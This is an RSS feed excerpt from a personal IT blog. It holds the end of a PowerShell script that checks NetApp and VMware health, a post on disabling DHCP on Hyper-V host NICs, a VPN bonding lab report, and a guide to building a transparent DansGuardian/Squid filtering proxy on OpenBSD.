		$drivesize = $diskdata.PhysSpace
		$converted = $drivesize/1TB
		write-host &quot;Failed Drive:&quot; $disk.Name &quot;Size is:&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		$rounded = [math]::round($converted,2)
		write-host $rounded&quot;TB&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		; &quot;&quot;
	}
	### Check for Shelf Channel Failures
	if ($shelfstatus -eq $null) {
		write-host &quot;$controller has no Shelf Channel failures.&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
	} else {
		write-host &quot;$controller has the following Shelf Channel failures:&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		$shelfstatus
	}
	### Check if cluster partnering is enabled. 
	$cfstatus = get-nacluster
	if ($cfstatus.State -ne 'CONNECTED' -and $cfstatus.IsEnabled -ne $true){
		write-host &quot;!!!!!!!!!!!!!!!!! Failover is not enabled on $($controller) and does not have a connected partner. !!!!!!!!!!!!!!!!!&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
	}
	### Check for Failed aggregates, offline Volumes and Luns.
	$aggs = get-naaggr
	$vols = get-navol
	$luns = get-nalun
	foreach ($agg in $aggs){
		if ($agg.State -ne 'Online'){
			write-host &quot;$($controller) has the following aggreates offline:&quot;
			write-host &quot;!!!!!!!!!!!!!!!!! $($agg.Name) IS OFFLINE !!!!!!!!!!!!!!!!!&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		}
	}
	foreach ($vol in $vols){
		if ($vol.State -ne 'Online'){
			write-host &quot;$($controller) has the following Volumes offline:&quot;
			write-host &quot;!!!!!!!!!!!!!!!!! $($vol.Name) IS OFFLINE !!!!!!!!!!!!!!!!!&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		}
	}
	foreach ($lun in $luns){
		if ($lun.Online -ne $true){
			write-host &quot;$($controller) has the following LUNs offline:&quot;
			write-host &quot;!!!!!!!!!!!!!!!!! $($Lun.Path) IS OFFLINE !!!!!!!!!!!!!!!!!&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		}
	}
	;&quot;&quot;
}
; &quot;&quot;
; &quot;&quot;
##############################################################	
#### Check VMWare Clusters, Hosts, Datastores, and VM's for triggered Alarms and high value settings.
Add-PSSnapin Vmware.VIMAutomation.Core | Out-Null
set-PowerCLIConfiguration -invalidCertificateAction &quot;ignore&quot; -confirm:$false | out-null
write-host &quot;----- Checking VMWare Hosts, Datastores, and VM alarms -----&quot; -foregroundcolor &quot;magenta&quot; -backgroundcolor &quot;black&quot;	
foreach ($viserver in $viservers) {
	$vms = ''
	$vmwarehosts = ''
	$datastores = ''
	write-progress &quot;Checking VMWare Clusters, Hosts, Datastores and VMs for Triggered Alarms: &quot;
	; &quot;&quot;
	; &quot;&quot;
	connect-viserver $viserver | out-null
	#### Checking Cluster Settings HA/DRS.
	$clusters = ''
	$cluster = ''
	$clusters = get-cluster
	foreach ($cluster in $clusters){
		if ($cluster.HAEnabled -eq $false){
			write-host &quot;!!!! $($viserver) - $($cluster.Name) does not have HA enabled !!!!&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		} else {
			write-host &quot;$($viserver) - $($cluster.Name) has HA enabled&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
		}
		if ($cluster.DRSAutomationLevel -notlike &quot;*FullyAutomated*&quot;){
			write-host &quot;!!!! $($viserver) - $($cluster.Name) DRS is not fully automated !!!!&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
		} else {
			write-host &quot;$($viserver) - $($cluster.Name) DRS is fully automated&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
		}
	}
	#### Checking Host alarms.
	$vmwarehosts = get-vmhost | get-view
	$alarm = ''
	$definition = ''
	foreach ($box in $vmwarehosts) {
		if ($box.TriggeredAlarmState -ne $null -or $box.TriggeredAlarmState -ne '') {
			$alarm = $box.TriggeredAlarmState.Alarm
			$definition = Get-AlarmDefinition -Id $alarm
			Write-host &quot;$($box.Name) Has the following Host Alarms triggered:&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
			Write-host $definition.Name -backgroundcolor &quot;black&quot; 
		}
	}
	if ($vmwarehosts.TriggeredAlarmState -eq $null -or $vmwarehosts.TriggeredAlarmState -eq '') {
			write-host &quot;There are no active HOST alarms on:&quot; $viserver -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot; 
	}
	#### Checking Datastore alarms.
	$datastores = get-datastore | get-view
	$alarm = ''
	$definition = ''
	foreach ($store in $datastores) {
		if ($store.TriggeredAlarmState -ne $null -or $store.TriggeredAlarmState -ne '') {
			$alarm = $store.TriggeredAlarmState.Alarm
			$definition = Get-AlarmDefinition -Id $alarm
			Write-host &quot;$($store.Name) Has the following Storage Alarms triggered:&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot;
			Write-host $definition.Name -backgroundcolor &quot;black&quot; 
		}
	}
	if ($datastores.TriggeredAlarmState -eq $null -or $datastores.TriggeredAlarmState -eq '') {
			write-host &quot;There are no active DATASTORE alarms on:&quot; $viserver -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot; 
	}
	#### Checking VM alarms and Snapshot dates. 
	$vms = get-vm | get-view
	$alarm = ''
	$definition = ''
	$snapdate = ''
	foreach ($vm in $vms) {
		if ($vm.TriggeredAlarmState -ne $null -or $vm.TriggeredAlarmState -ne '') {
			$alarm = $vm.TriggeredAlarmState.Alarm
			$definition = Get-AlarmDefinition -Id $alarm
			Write-host &quot;$($vm.Name) Has the following VM alarms triggered:&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot; 
			Write-host $definition.Name -backgroundcolor &quot;black&quot;
			#### If alarm is Snapshot, show Snapshot name and Creation Date.
			if ($definition.Name -eq &quot;VMSnapshot Running&quot;) {
				$snapdate = get-snapshot -VM $vm.Name
				write-host &quot;$($snapdate.Name) was created on:&quot; $snapdate.Created -backgroundcolor &quot;black&quot;
				write-host &quot;Snapshot is the following size in GB:&quot; $snapdate.SizeGB -backgroundcolor &quot;black&quot;
				;&quot;&quot;
			}
		}
	}
	if ($vms.TriggeredAlarmState -eq $null -or $vmview.TriggeredAlarmState -eq '') {
			write-host &quot;There are no active VM alarms on&quot; $viserver -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot; 

	}
	$vms = $null
	$vms = get-vm | where {$_.Name -like &quot;*_old*&quot; -or $_.Name -like &quot;*_old*&quot;} | out-null
	if ($vms -ne $null){
		write-host &quot;The following VM's have old in their names:&quot; -foregroundcolor &quot;red&quot; -backgroundcolor &quot;black&quot; 
		$vms.Name
		;&quot;&quot;
	}
	$vms = $null
	$vms = Get-VM | Where-Object {$_.Extensiondata.Runtime.ConsolidationNeeded}
	if ($vms -ne $null){
		write-host &quot;Consolidating any triggered VMs&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
		foreach ($vm in $vms){
			(Get-VM -Name $vm.Name).ExtensionData.ConsolidateVMDisks_Task()
			write-host &quot;Task sent for consolidation of the following VM: $($vm.Name) sent to vCenter&quot;
		}
	}
	disconnect-viserver $viserver -confirm:$false | out-null 
	;&quot;&quot;
	;&quot;&quot;
}
;&quot;&quot;
$sw.stop()
write-host &quot;All of your sweet checks took this much time to run:&quot; -foregroundcolor &quot;green&quot; -backgroundcolor &quot;black&quot;
$sw.Elapsed
}</code></pre>
]]></content:encoded></item><item><title><![CDATA[Disable DHCP on Hyper-V created vSwitch Host NICS. #hyperV #dhcp #hosthijack]]></title><description><![CDATA[<p>So playing with Hyper-V the past few weeks quite a bit and noticed that when creating a vSwitch, no matter if External and bridged to a real NIC on the host or not, it will create a NIC on the Windows host machine correlating to the vSwitch in Hyper-v. If</p>]]></description><link>http://wyliebayes.com/disable-dhcp-on-hyper-v-created-vswitch-host-nics-windows10-hyper-v/</link><guid isPermaLink="false">5a74cad719539b2fb28e5927</guid><category><![CDATA[Powershell]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Tue, 20 Dec 2016 19:02:00 GMT</pubDate><content:encoded><![CDATA[<p>So playing with Hyper-V the past few weeks quite a bit and noticed that when creating a vSwitch, no matter if External and bridged to a real NIC on the host or not, it will create a NIC on the Windows host machine correlating to the vSwitch in Hyper-v. If you create a virtual machine, and attach it to the vSwitch, and this virtual machine is running a DHCP server, your HOST NIC for that vSwitch will pull a DHCP address from the VM, instead of just acting as an interal bridge and sending the traffic to it’s destination. This is very undesired (and honestly scary), as I am testing a lot of VM’s that I don’t know who built them, how they are configured, if they are malicious etc. I do not want my Hyper visor pulling DHCP from VM’s, that’s just stupid.</p>
<p>So to resolve this issue I forced DHCP to be disabled, and also did not assign a static IP causing the interface to default to the 169.xx.xx.xx address that windows does when it cannot pull a DHCP address.</p>
<p>Doing this from my work computer so don’t have the Hyper-V NIC names atm, will update later. (For now below example will disable DHCP on Ethernet “ifIndex 2” interface.)</p>
<pre><code> PS C:\WINDOWS\system32&gt; Get-NetAdapter
 
 Name                      InterfaceDescription                    ifIndex Status    

 Wi-Fi                     Intel(R) Centrino(R) Advanced-N 6205         11 Disconnected

 Ethernet                  Intel(R) Ethernet Connection I217-LM          2 Up          

PS C:\WINDOWS\system32&gt; Set-NetIpInterface -ifindex 2 -Dhcp Disabled
PS C:\WINDOWS\system32&gt;
</code></pre>
<p>The NIC will drop the IP from the VM on that vSwitch, and assign a default 169.xx.xx.xx address after doing this.<br>
Cheers!</p>
]]></content:encoded></item><item><title><![CDATA[VPN Bonding: Pushing through the challenges!]]></title><description><![CDATA[<p>New Foundations #1 – VPN Bonding – Pushing through the challenges.<br>
by Wylie Bayes</p>
<p>VPN Bonding<br>
Hey everyone! Wylie is back in action and this topic is all about VPN bonding and the challenges you can face when coming up with a solution that is right for your organization.</p>
<p>I know many</p>]]></description><link>http://wyliebayes.com/vpn-bonding-pushing-through-the-challenges/</link><guid isPermaLink="false">5a74cad819539b2fb28e5948</guid><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Tue, 20 Dec 2016 19:00:00 GMT</pubDate><content:encoded><![CDATA[<p>New Foundations #1 – VPN Bonding – Pushing through the challenges.<br>
by Wylie Bayes</p>
<p>VPN Bonding<br>
Hey everyone! Wylie is back in action and this topic is all about VPN bonding and the challenges you can face when coming up with a solution that is right for your organization.</p>
<p>I know many organizations are still utilizing private leased lines from phone companies such as Century Link. These private lines can cost a place a fortune, especially with multiple locations involved. Not to mention they are slow and even with a service agreement.. can fall short on reliability… So what is a place to do? Well the first major thing to be concerned about when thinking of a VPN bonding solution is location. Where your organization has locations and what consumer broadband services are available in those area’s. More than likely if you can get a private MPLS line to a location, you probably have some type of broadband options. Multiple broadband options from different service providers is desired for best results.</p>
<p>The Equipment:</p>
<ol>
<li>Cisco routers 1900 series routers.</li>
<li>Peplink Balance 580 and 380 VPN bonding appliances.</li>
<li>Fortigate / PFSense(custom) firewalls.</li>
<li>Some Gigabit ethernet switches. (This can vary depending what you have available)</li>
<li>Ubuntu 11.1 box and a Windows XP laptop.</li>
</ol>
<p>The Testing:<br>
The lab we setup simulated VPN bonding at 3 locations. We had our Peplink balance 580 at the Main location, and two balance 380?s at the remote locations. Each location had a Cisco 1921 router on the LAN interface of its respective peplink. Also we placed a Firewall in front of the WAN connections at each Peplink in a transparent filtering mode.</p>
<p>We then setup another Cisco 1921 to simulate the Internet. We separated each peplink into it’s own public network. 1.1.1.0/24, 2.2.2.0/24, 3.3.3.0/24. Internet router IP’s were .1 on each subnet, and each peplink device was .5 on each subnet. Once all the configurations were in place, and routing was possible, the peplink units would successfully sync up and begin their Voodoo magic bonding arrangement. Of course the peplink units had to be configured correctly with the configuration mentioned above.</p>
<p>The challenge:<br>
So things at my organization are fairly simple in terms of routing. We utilize EIGRP as our IGP. Then we have BGP configured with our lease provider. The lease lines basically just create a huge bridge between all our locations and routing occurs naturally with EIGRP.. nothing stands in the way. With a VPN bonding solution, and consumer broadband, this does not occur naturally.<br>
We investigated and researched different products to see what solutions were out there to include a Dynamic routing solution from one of these VPN bonding appliance vendors. The options were very slim. We found a few places such as Xroadsnetworks, and Riverbed that had options built in for RIPv2 and OSPF.<br>
We also investigated creating a Layer2 bridge with the bonding appliances and creating a big local network between all the locations. This solution is possible however it is impossible to control the broadcast traffic on the network. You can stop it once it reaches the LAN side of a peplink and the Cisco router cuts off the broadcast domain and begins routing again… but that still brings the traffic all the way accross your bonded connection eating up precious bandwidth for no reason, just to get dropped by a router at the LAN side… not a very good solution.</p>
<p>Before we decided to order other appliances such as Xroads, or Riverbed, it occurred to us that we could more than likely establish a GRE tunnel from one LAN side Cisco router to another with tunnel interfaces. This proved true. EIGRP could easily be configured now to advertise it’s tunnel interface IP for routing. Not only for routing updates, but for ALL traffic from site to site. Everything is pushed through the tunnel interface by default at each location. This is also a amazing solutions because it completely hides how the traffic gets from one location to another. A traceroute will only show 2 hops, vs 50 across the internet.</p>
<p>Now that we have a way to make Cisco’s talk through this VPN Bonded Voodoo magic tunnel, the problem of dynamically updating your own routers is solved, and traffic from location to location is even more protected. You could even take it a step further and utilize an IPSec tunnel from Cisco to Cisco vice a GRE tunnel. This would be an encrypted tunnel inside of Peplink’s encrypted/bonded tunnel. We don’t really see the need for double encryption at this time as it adds more overhead, but I suppose if you have the bandwidth it wouldn’t be an issue in most cases.</p>
<p>Once we figured out the tunnel situation we realized it didn’t matter what VPN Bonding appliance we used, we would get our Cisco’s to talk the same way. Peplink is one of the lower end vendors in terms of pricing.. But our testing proved that the Bonding is actually very good. We could get some very HIGH speeds in our lab environment. Also the resilience of recovering connections between peplinks was very solid. Recovery times when a link went down to re-establish were excellent. These are really the only key features we needed for the actual bonding appliance.</p>
<p>Finally, we had to ensure we could protect the WAN side interfaces as to prevent some type of intrusion into one of the Peplink devices. We successfully configured a Fortigate 60c as well as a DL380 g3 server with PFsense in a transparent bridge mode to filter traffic from ISP’s going into the WAN interfaces on the peplinks. Filter rules were created to only allow traffic from peplink IP addresses to ensure their tunnels could establish, but all other traffic is deny’d. Rules for internal network traffic are unnecessary because all traffic is hidden inside the GRE tunnel. The WAN side firewalls cannot inspect it’s contents. However, anything coming from the internet inbound is sure to be denied.</p>
<p>In this particular arrangement all traffic from remote locations must travel through a Tunnel interface back to the Main location in order to get anywhere, IE: the actual internet. This protects the remote locations and ensures they are private, just as in the current Lease Line scenario.</p>
<p>If you have two broadband connections each with 25mbit…. the peplink units will combine those two connections and will result in 50mbit connection speed. The appliances devide packets between connections and re-assemble them at the distant end. So with three 25mbit connections your maximum throughput would be 75mbit. This bonding works with traffic going through a GRE/IPSec tunnel thus creating a MASSIVE amount of bandwidth from location to location for a Fraction of the cost of MPLS leased lines. Not only the cost… but the speed of broadband connections is far better than private lines in terms of the cost comparison.</p>
<p>The solution works. You can completely DO-AWAY with private lines and create the same scenario with consumer broadband. Increasing your speeds, and cutting costs. It is a wonderful amazing solution for any organization. If you have any questions or would like to know anything more specific about our testing please comment! Thanks everyone!<br>
-Wylie</p>
]]></content:encoded></item><item><title><![CDATA[Network Wide Transparent Proxying with #OpenBSD #Proxy #webfiltering]]></title><description><![CDATA[<p>Network Wide Transparent Proxying</p>
<p>By: Wylie Bayes &amp; Brandon Folchi</p>
<p>The purpose of this article is to guide anyone who is interested in setting up their own transparent proxy capable of filtering outbound web-browsing of all devices on a network. While researching options to accomplish this we came across a</p>]]></description><link>http://wyliebayes.com/network-wide-transparent-proxying-with-openbsd/</link><guid isPermaLink="false">5a74cad819539b2fb28e5945</guid><category><![CDATA[Blog]]></category><category><![CDATA[OpenBSD]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Tue, 20 Dec 2016 18:59:19 GMT</pubDate><content:encoded><![CDATA[<p>Network Wide Transparent Proxying</p>
<p>By: Wylie Bayes &amp; Brandon Folchi</p>
<p>The purpose of this article is to guide anyone who is interested in setting up their own transparent proxy capable of filtering outbound web-browsing of all devices on a network. While researching options to accomplish this we came across a program called DansGuardian. DansGuardian is an open source web content filter that runs on multiple ‘Unix like’ platforms. The concept behind this application is to truly filter the content the user is browsing instead of simply having a blacklist of websites you want to avoid. It is impossible to keep up with all of the new websites that are created each day plus we are probably going to be more strict on the content that we want available than most people.</p>
<p>We have never accomplished any kind of network wide transparent filtering before. When we brought this topic up in a discussion a friend brought to our attention the use of OpenDNS as a simple quick and dirty “catch-all” filtering method. We decided that a Squid/Dansguardian proxy was the best option for filtering, in conjunction with the OpenDNS “catch-all” in place as a backup.</p>
<p>Hardware<br>
Necessary hardware:</p>
<ol>
<li>One 32 or 64bit system.</li>
<li>Two supported NICs.</li>
<li>At least one Internet connection.</li>
<li>A switch or hub, preferably 100mbit or higher.</li>
<li>See <a href="http://www.openbsd.org/plat.html">http://www.openbsd.org/plat.html</a> to ensure your hardware is supported.</li>
</ol>
<p>The Setup<br>
Installing OpenBSD<br>
Boot off your required type of OpenBSD installation media (IE: cd, usb, etc.) It is suggested to manually partitioning your disk with simply everything allocated on /. Or separate /, /home, and /var. Both /, and /var need ample space.</p>
<p>Configuring DHCP<br>
Modify your /etc/dhcpd.conf to something similar. (These DNS options should work for everyone in US.) This issues IP’s between .160 – and .250.</p>
<pre><code> option domain-name “example.com”;
 option  domain-name-servers 8.8.8.8, 8.8.4.4, 208.67.222.222, 208.67.220.220;

 subnet 172.16.10.0 netmask 255.255.255.0 {
         option routers 172.16.10.1;
         range 172.16.10.160 172.16.10.250;
 }
</code></pre>
<p>Configuring pf.conf<br>
The following example shows the pf.conf options necessary to accommodate this setup. All options are commented to facilitate their purpose:</p>
<pre><code> ########### Macros ######################
 extnet=&quot;dc0&quot;
 intnet=&quot;rl0&quot;
 #Backup wifi router
 rum0=&quot;rum0&quot;
 ########## Options #######################
 set block-policy return
 set loginterface $extnet
 set skip on lo
 set skip on {pfsync}
 set ruleset-optimization basic
 set optimization aggressive
 set limit {states 100000 table-entries 8000000}
 set reassemble yes no-df                        # NEW
 
 ### Divert rules!!! ####
 #FTP
 pass in quick on $extnet inet proto tcp to any port ftp divert-to 127.0.0.1 port 8021
 #Dansguardian, the following divert-to rule accomplishes the “transparent” proxy.
 pass in quick on $intnet inet proto tcp to port 80 divert-to 172.16.10.1 port 8081
 #Squid (bypasses dansguardian filtering, special purpose use)
 #pass in quick on $intnet inet proto tcp to port 80 divert-to 172.16.10.1 port 8080
 
 ############ NAT RULES ##############
 match in all scrub (no-df)

 #### LAN allowed out Cable conn. 172.16.10.0/24 network out
 match out on $extnet from $intnet:network nat-to ($extnet)
 
 ############# FILTER RULES ###############
 block in log (all, to pflog0)
 ######### Default pass traffic #######
 pass out keep state
 pass in quick on $intnet
 ##(Pass traffic to and from another network, in this case a Wifi network with a seperate internet conn.)
 pass in quick on $rum0:network to $intnet:network
 pass out quick on $rum0:network to $intnet:network
 #### Anchor / Antispoof
 anchor &quot;ftp-proxy/*&quot;
 anchor &quot;http-proxy/*&quot;
 antispoof quick for { lo $intnet }
 antispoof for $extnet inet
 
 #### All outbound internet traffic ####
 pass out on $extnet proto { tcp udp icmp } all modulate state
 
 #### Inbound from the internet allows ####
 pass in log (all, to pflog0) on $extnet inet proto tcp from any to ($extnet) 
    port 22 flags S/SA keep state

 ############# Redirection Rules ################
 # SSH inbound from the internet example.
 pass in log on $extnet inet proto tcp from any to any port = 22 flags S/SA rdr-to 172.16.10.21
 ##END
</code></pre>
<p>OpenDNS Setup<br>
If you have not heard about OpenDNS we recommend you take a look. The point is if you have a router where you can tell it to point to different DNS servers than what your ISP uses, then you can already start filtering the web for your network. You can use OpenDNS as a sort of “safety net” for anything inappropriate that DansGuardian might miss. If you don’t already have an OpenDNS account then go to www.opendns.com and sign up.</p>
<p>If you decide to use OpenDNS and don’t have a static IP address then you will need to download the client that they have. This client will update OpenDNS with your network’s public IP. This is important because if you want your filtering options to work for the computers on your network then it needs to know what network it is filtering.</p>
<p>The client can be found here: <a href="http://www.opendns.com/support/dynamic_ip_downloads/">http://www.opendns.com/support/dynamic_ip_downloads/</a><br>
You are only required to install it on a single PC that is running one of the applicable operating systems they have made a client install for.</p>
<p>You will need to point your Router to use following IP addresses as your DNS servers (if your OpenBSD DHCP config is Force feeding these settings you probably do not need to worry about re-configuring your ISPs device.:<br>
• 208.67.222.222<br>
• 208.67.220.220</p>
<p>For OpenBSD using a full Static IP network, you will edit the file /etc/resolv.conf to include the IP addresses of your desired DNS servers.</p>
<pre><code> bash-4.2# vi /etc/resolv.conf
 search wmfb.co
 nameserver 208.67.222.222
 nameserver 208.67.220.220
 lookup file bind
</code></pre>
<p>Modify your /etc/dhclient.conf :<br>
If you are pulling DHCP from your ISP on OpenBSD, resolv.conf will be overwritten each time a lease is renewed. To ensure you keep certain options, like DNS, you must modify your /etc/dhclient.conf file to something similar:</p>
<pre><code> initial-interval 1;
 send host-name &quot;portal&quot;;
 supersede host-name &quot;portal&quot;;
 supersede domain-name-servers 208.67.222.222, 208.67.220.220;
 supersede domain-name &quot;wmfb.co&quot;;
 request subnet-mask, broadcast-address, routers;
</code></pre>
<p>Installing Squid Proxy</p>
<pre><code> bash-4.2# export PKG_PATH=http://ftp.OpenBSD.org/pub/OpenBSD/`uname -r`/packages/`uname -m`/
 bash-4.2# pkg_add -i squid
 Ambiguous: choose package for squid
 a  0: &lt;None&gt;
   1: squid-2.7.STABLEp19
   2:  squid-2.7.STABLEp19-ldap
   3:  squid-2.7.STABLEp19-ldap-snmp
   4:  squid-2.7.STABLEp19-ntlm
   5:  squid-2.7.STABLEp19-snmp
</code></pre>
<p>Squid Configuration<br>
Full copy of Squid.conf can be found separately here:</p>
<p>Installing DansGuardian<br>
bash-4.2# export PKG_PATH=http://ftp.OpenBSD.org/pub/OpenBSD/<code>uname -r</code>/packages/<code>uname -m</code>/<br>
bash-4.2# pkg_add -i dansguardian<br>
dansguardian-2.10.1.1:libexecinfo-0.2p0v0: ok<br>
dansguardian-2.10.1.1: ok</p>
<p>DansGuardian Configuration<br>
Not a whole lot of changes are needed in the dansguardian.conf file to get you up and running. The configuration file should be located in the /etc/dansguardian directory. The only area you should need to edit is the “Network Settings” section of the configuration file. See below the example below:</p>
<pre><code> # Network Settings
 #
 # the IP that DansGuardian listens on.  If left blank DansGuardian will
 # listen on all IPs.  That would include all NICs, loopback, modem, etc.
 # Normally you would have your firewall protecting this, but if you want
 # you can limit it to a certain IP. To bind to multiple interfaces,
 # specify each IP on an individual filterip line.
 filterip = 172.16.10.1
 # the port that DansGuardian listens to.
 filterport = 8081
 # the ip of the proxy (default is the loopback - i.e. this server)
 proxyip = 172.16.10.1
 # the port DansGuardian connects to proxy on
 proxyport = 8080
</code></pre>
<p>Once complete you should be filtering your internet through Dansguardian. If Dansguardian isn’t started or for some reason is stopped you can type the following command:</p>
<pre><code> bash-4.2# /usr/local/share/dansguardian/scripts/bsd-init start
</code></pre>
<p>When you verify your internet traffic is being filtered by Dansguardian, you may want to do a few more configuration changes. We felt that some default lists needed to have a few modifications. There were websites and content Dansguardian was blocking that were what we considered appropriate. You can find these lists in /etc/dansguardian/lists.</p>
<p>Some examples include:<br>
Exceptionsitelist<br>
• In this list you can add (at the bottom of the file) websites you know that you can trust and want to be able to navigate around in. For example, Netflix was blocked for us by default. We appended the file with “Netflix.com”. You do not need to include http or www when adding sites, it just requires the domain.</p>
<p>Bannedextensionlist<br>
• If you are like most, you probably still want to be able to download files that Dansguardian will block by default. You can comment out extensions such as exe, msi, msp, doc, xls, gz, tar, zip, bz2 etc… These will have to be a judgment call. You can’t protect yourself from everything so might as well make it easy for yourself to still access files from sources you have decided are safe.</p>
<p>Bannedmimetypelist<br>
• Another file where some items were disabled. There are many things in this file you need to comment out if you want to use the technologies some websites utilize for video and other media. Again, this is a judgment call and you will have to decide what is worth the risk and works best for you.<br>
Weightedphraselist</p>
<p>• This list contains the various weighted phrases and assigns a sort of “point” system to the words.<br>
You may want to change your “naughtiness” limit if you find Dansguardian to be too strict. The default level is set to “50” which is said to be for “young children”. This setting is found in a file called dansguardianf1.conf located in /etc/dansguardian.<br>
Below is an example of the “naughtiness limit” section of the file.</p>
<pre><code> # Naughtyness limit
 # This the limit over which the page will be blocked.  Each weighted phrase is given
 # a value either positive or negative and the values added up.  Phrases to do with
 # good subjects will have negative values, and bad subjects will have positive
 # values.  See the weightedphraselist file for examples.
 # As a guide:
 # 50 is for young children,  100 for old children,  160 for young adults.
 naughtynesslimit = 100
</code></pre>
<p>For the most part we found that these were the primary lists we needed to edit in order to still have the functionality we prefer while still filtering out some of the inappropriate content on the web. You may want to research and look at the other lists and change the options that were selected to suite your needs.</p>
<p>As a side note, DansGuardian has the capability to do some URL re-writing. This is useful if you want to control content found in Google picture searches or YouTube. For example, you can URL re-write to force “safe search” for Google Images. You can also sign up for a YouTube for Schools account and apply a URL re-write to include your “edu-filter”. This may be something we cover in another post for those who are interested.</p>
<p>There you have it. Centralized, un-bypassable, web-browsing control.</p>
]]></content:encoded></item></channel></rss>